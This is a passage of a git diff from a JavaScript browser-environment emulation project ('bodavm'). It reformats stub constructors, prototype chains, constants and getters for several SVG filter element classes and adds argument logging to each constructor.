enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('SVGFEFuncBElement', "SVG_FECOMPONENTTRANSFER_TYPE_LINEAR", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('SVGFEFuncBElement', "SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGFEFuncBElement', "SVG_FECOMPONENTTRANSFER_TYPE_TABLE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGFEFuncBElement', "SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGFEFuncBElement', "SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); +// SVGFEFuncBElement对象 + +bodavm.memory.globalobj['SVGFEFuncBElement'] = function SVGFEFuncBElement() { + console.log_copy('SVGFEFuncBElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEFuncBElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEFuncBElement'], "SVGFEFuncBElement"); +bodavm.memory.globalobj['SVGFEFuncBElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype; +bodavm.memory.globalobj['SVGFEFuncBElement'].__proto__ = bodavm.memory.globalobj['SVGComponentTransferFunctionElement']; +bodavm.toolsFunc.defineProperty('SVGFEFuncBElement', "SVG_FECOMPONENTTRANSFER_TYPE_GAMMA", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncBElement', "SVG_FECOMPONENTTRANSFER_TYPE_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncBElement', "SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncBElement', "SVG_FECOMPONENTTRANSFER_TYPE_TABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncBElement', "SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncBElement', "SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGFEFuncGElement.js b/env_xbb_lastest_jsdom/env/SVGFEFuncGElement.js index 2802991e..dc8ad736 100644 --- a/env_xbb_lastest_jsdom/env/SVGFEFuncGElement.js +++ b/env_xbb_lastest_jsdom/env/SVGFEFuncGElement.js @@ -1,11 +1,55 @@ -// SVGFEFuncGElement对象 -bodavm.memory.globalobj['SVGFEFuncGElement'] = function SVGFEFuncGElement(){if (!(this instanceof SVGFEFuncGElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEFuncGElement'], "SVGFEFuncGElement"); -bodavm.memory.globalobj['SVGFEFuncGElement'].prototype.__proto__=bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype; -bodavm.memory.globalobj['SVGFEFuncGElement'].__proto__=bodavm.memory.globalobj['SVGComponentTransferFunctionElement']; -bodavm.toolsFunc.defineProperty('SVGFEFuncGElement', "SVG_FECOMPONENTTRANSFER_TYPE_GAMMA", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('SVGFEFuncGElement', "SVG_FECOMPONENTTRANSFER_TYPE_LINEAR", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('SVGFEFuncGElement', "SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGFEFuncGElement', "SVG_FECOMPONENTTRANSFER_TYPE_TABLE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGFEFuncGElement', "SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGFEFuncGElement', "SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); +// SVGFEFuncGElement对象 + +bodavm.memory.globalobj['SVGFEFuncGElement'] = function SVGFEFuncGElement() { + console.log_copy('SVGFEFuncGElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEFuncGElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEFuncGElement'], "SVGFEFuncGElement"); +bodavm.memory.globalobj['SVGFEFuncGElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype; +bodavm.memory.globalobj['SVGFEFuncGElement'].__proto__ = bodavm.memory.globalobj['SVGComponentTransferFunctionElement']; +bodavm.toolsFunc.defineProperty('SVGFEFuncGElement', "SVG_FECOMPONENTTRANSFER_TYPE_GAMMA", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncGElement', "SVG_FECOMPONENTTRANSFER_TYPE_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncGElement', "SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncGElement', "SVG_FECOMPONENTTRANSFER_TYPE_TABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncGElement', "SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncGElement', "SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGFEFuncRElement.js b/env_xbb_lastest_jsdom/env/SVGFEFuncRElement.js index 381e5066..92869e55 100644 --- a/env_xbb_lastest_jsdom/env/SVGFEFuncRElement.js +++ b/env_xbb_lastest_jsdom/env/SVGFEFuncRElement.js @@ -1,11 +1,55 @@ -// SVGFEFuncRElement对象 -bodavm.memory.globalobj['SVGFEFuncRElement'] = function SVGFEFuncRElement(){if (!(this instanceof SVGFEFuncRElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEFuncRElement'], "SVGFEFuncRElement"); -bodavm.memory.globalobj['SVGFEFuncRElement'].prototype.__proto__=bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype; -bodavm.memory.globalobj['SVGFEFuncRElement'].__proto__=bodavm.memory.globalobj['SVGComponentTransferFunctionElement']; -bodavm.toolsFunc.defineProperty('SVGFEFuncRElement', "SVG_FECOMPONENTTRANSFER_TYPE_GAMMA", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('SVGFEFuncRElement', "SVG_FECOMPONENTTRANSFER_TYPE_LINEAR", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('SVGFEFuncRElement', "SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGFEFuncRElement', "SVG_FECOMPONENTTRANSFER_TYPE_TABLE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGFEFuncRElement', "SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGFEFuncRElement', "SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); +// SVGFEFuncRElement对象 + +bodavm.memory.globalobj['SVGFEFuncRElement'] = function SVGFEFuncRElement() { + console.log_copy('SVGFEFuncRElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEFuncRElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEFuncRElement'], "SVGFEFuncRElement"); +bodavm.memory.globalobj['SVGFEFuncRElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype; +bodavm.memory.globalobj['SVGFEFuncRElement'].__proto__ = bodavm.memory.globalobj['SVGComponentTransferFunctionElement']; +bodavm.toolsFunc.defineProperty('SVGFEFuncRElement', "SVG_FECOMPONENTTRANSFER_TYPE_GAMMA", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncRElement', "SVG_FECOMPONENTTRANSFER_TYPE_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncRElement', "SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncRElement', "SVG_FECOMPONENTTRANSFER_TYPE_TABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncRElement', "SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGFEFuncRElement', "SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGFEGaussianBlurElement.js b/env_xbb_lastest_jsdom/env/SVGFEGaussianBlurElement.js index b2228e82..9ffc5fff 100644 --- a/env_xbb_lastest_jsdom/env/SVGFEGaussianBlurElement.js +++ b/env_xbb_lastest_jsdom/env/SVGFEGaussianBlurElement.js @@ -1,14 +1,91 @@ -// SVGFEGaussianBlurElement对象 -bodavm.memory.globalobj['SVGFEGaussianBlurElement'] = function SVGFEGaussianBlurElement(){if (!(this instanceof SVGFEGaussianBlurElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEGaussianBlurElement'], "SVGFEGaussianBlurElement"); -bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEGaussianBlurElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "in1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "stdDeviationX", {configurable:true, enumerable:true, get:function stdDeviationX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "stdDeviationX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "stdDeviationY", {configurable:true, enumerable:true, get:function stdDeviationY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "stdDeviationY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "result_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "setStdDeviation", {configurable:true, enumerable:true, writable:true, value:function setStdDeviation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "setStdDeviation", arguments)}},'prototype'); +// SVGFEGaussianBlurElement对象 + +bodavm.memory.globalobj['SVGFEGaussianBlurElement'] = function SVGFEGaussianBlurElement() { + console.log_copy('SVGFEGaussianBlurElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEGaussianBlurElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEGaussianBlurElement'], "SVGFEGaussianBlurElement"); +bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEGaussianBlurElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "stdDeviationX", { + configurable: true, + enumerable: true, + get: function stdDeviationX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "stdDeviationX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "stdDeviationY", { + configurable: true, + enumerable: true, + get: function stdDeviationY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "stdDeviationY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEGaussianBlurElement', "setStdDeviation", { + configurable: true, + enumerable: true, + writable: true, + value: function setStdDeviation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEGaussianBlurElement'].prototype, "SVGFEGaussianBlurElement", "setStdDeviation", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGFEImageElement.js b/env_xbb_lastest_jsdom/env/SVGFEImageElement.js index 951911d7..b90a0954 100644 --- a/env_xbb_lastest_jsdom/env/SVGFEImageElement.js +++ b/env_xbb_lastest_jsdom/env/SVGFEImageElement.js @@ -1,12 +1,75 @@ -// SVGFEImageElement对象 -bodavm.memory.globalobj['SVGFEImageElement'] = function SVGFEImageElement(){if (!(this instanceof SVGFEImageElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEImageElement'], "SVGFEImageElement"); -bodavm.memory.globalobj['SVGFEImageElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEImageElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEImageElement', "preserveAspectRatio", {configurable:true, enumerable:true, get:function preserveAspectRatio (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "preserveAspectRatio_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEImageElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEImageElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEImageElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEImageElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEImageElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "result_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEImageElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "href_get", arguments)}, set:undefined},'prototype'); +// SVGFEImageElement对象 + +bodavm.memory.globalobj['SVGFEImageElement'] = function SVGFEImageElement() { + console.log_copy('SVGFEImageElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEImageElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEImageElement'], "SVGFEImageElement"); +bodavm.memory.globalobj['SVGFEImageElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEImageElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEImageElement', "preserveAspectRatio", { + configurable: true, + enumerable: true, + get: function preserveAspectRatio() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "preserveAspectRatio_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEImageElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEImageElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEImageElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEImageElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEImageElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEImageElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEImageElement'].prototype, "SVGFEImageElement", "href_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGFEMergeElement.js b/env_xbb_lastest_jsdom/env/SVGFEMergeElement.js index caa83ebd..d9666ad3 100644 --- a/env_xbb_lastest_jsdom/env/SVGFEMergeElement.js +++ b/env_xbb_lastest_jsdom/env/SVGFEMergeElement.js @@ -1,10 +1,59 @@ -// SVGFEMergeElement对象 -bodavm.memory.globalobj['SVGFEMergeElement'] = function SVGFEMergeElement(){if (!(this instanceof SVGFEMergeElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEMergeElement'], "SVGFEMergeElement"); -bodavm.memory.globalobj['SVGFEMergeElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEMergeElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEMergeElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMergeElement'].prototype, "SVGFEMergeElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMergeElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMergeElement'].prototype, "SVGFEMergeElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMergeElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMergeElement'].prototype, "SVGFEMergeElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMergeElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMergeElement'].prototype, "SVGFEMergeElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMergeElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMergeElement'].prototype, "SVGFEMergeElement", "result_get", arguments)}, set:undefined},'prototype'); +// SVGFEMergeElement对象 + +bodavm.memory.globalobj['SVGFEMergeElement'] = function SVGFEMergeElement() { + console.log_copy('SVGFEMergeElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEMergeElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEMergeElement'], "SVGFEMergeElement"); +bodavm.memory.globalobj['SVGFEMergeElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEMergeElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEMergeElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMergeElement'].prototype, "SVGFEMergeElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMergeElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMergeElement'].prototype, "SVGFEMergeElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMergeElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMergeElement'].prototype, "SVGFEMergeElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMergeElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMergeElement'].prototype, "SVGFEMergeElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMergeElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMergeElement'].prototype, "SVGFEMergeElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGFEMergeNodeElement.js b/env_xbb_lastest_jsdom/env/SVGFEMergeNodeElement.js index 7d5849b0..3f0ab4af 100644 --- a/env_xbb_lastest_jsdom/env/SVGFEMergeNodeElement.js +++ b/env_xbb_lastest_jsdom/env/SVGFEMergeNodeElement.js @@ -1,6 +1,27 @@ -// SVGFEMergeNodeElement对象 -bodavm.memory.globalobj['SVGFEMergeNodeElement'] = function SVGFEMergeNodeElement(){if (!(this instanceof SVGFEMergeNodeElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEMergeNodeElement'], "SVGFEMergeNodeElement"); -bodavm.memory.globalobj['SVGFEMergeNodeElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEMergeNodeElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEMergeNodeElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMergeNodeElement'].prototype, "SVGFEMergeNodeElement", "in1_get", arguments)}, set:undefined},'prototype'); +// SVGFEMergeNodeElement对象 + 